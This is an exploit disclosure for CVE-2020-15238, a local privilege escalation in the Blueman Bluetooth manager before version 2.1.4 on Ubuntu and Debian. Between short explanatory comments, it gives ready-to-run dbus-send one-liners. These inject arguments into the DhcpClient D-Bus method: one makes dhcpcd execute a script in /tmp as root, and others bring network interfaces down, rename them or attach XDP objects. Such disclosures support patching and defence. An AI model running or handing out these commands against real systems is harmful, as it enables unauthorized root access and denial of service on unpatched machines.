# Exploit Title: Local Privilege Escalation in Blueman < 2.1.4# Date: 2020-10-27# Exploit Author: Vaisha Bernard (vbernard - at - eyecontrol.nl)# Vendor Homepage: https://github.com/blueman-project/blueman# Software Link: https://github.com/blueman-project/blueman# Version: < 2.1.4# Tested on: Ubuntu 20.04# CVE: CVE-2020-15238## By default installed on Ubuntu 16.04 - 20.10 and# Debian 9 - 11## Local root exploit when dhcpcd is used instead of dhclient# # Reference: https://www.eyecontrol.nl/blog/the-story-of-3-cves-in-ubuntu-desktop.html## # The DhcpClient method of the d-bus interface to blueman-mechanism # is prone to an argument injection vulnerability. # On systems where the isc-dhcp-client package is removed # and the dhcpcd package installed, this leads to Local # Privilege Escalation to root from any unprivileged user. # See attached python script for a working exploit. Or use # this oneliner with a shellscript "/tmp/eye":
dbus-send --print-reply --system--dest=org.blueman.Mechanism \
/org/blueman/mechanism org.blueman.Mechanism.DhcpClient \
string:"-c/tmp/eye"# This happens because the argument is not sanitized before # being used as an argument to dhcpcd.# # Also on default installations with isc-dhcp-client installed, # this can lead to DoS attacks by bringing any interface down # as follows:
dbus-send --print-reply --system--dest=org.blueman.Mechanism \
/org/blueman/mechanism org.blueman.Mechanism.DhcpClient \
string:"ens33 down al"# Or allows users to attach XDP objects to an interface:
dbus-send --print-reply --system--dest=org.blueman.Mechanism \
/org/blueman/mechanism org.blueman.Mechanism.DhcpClient \
string:"ens33 down al"
dbus-send --print-reply --system--dest=org.blueman.Mechanism \
/org/blueman/mechanism org.blueman.Mechanism.DhcpClient \
string:"ens33 name a"
dbus-send --print-reply --system--dest=org.blueman.Mechanism \
/org/blueman/mechanism org.blueman.Mechanism.DhcpClient \
string:"a xdp o /tmp/o"# This both happens because the argument is passed to "ip link" # unsanitized.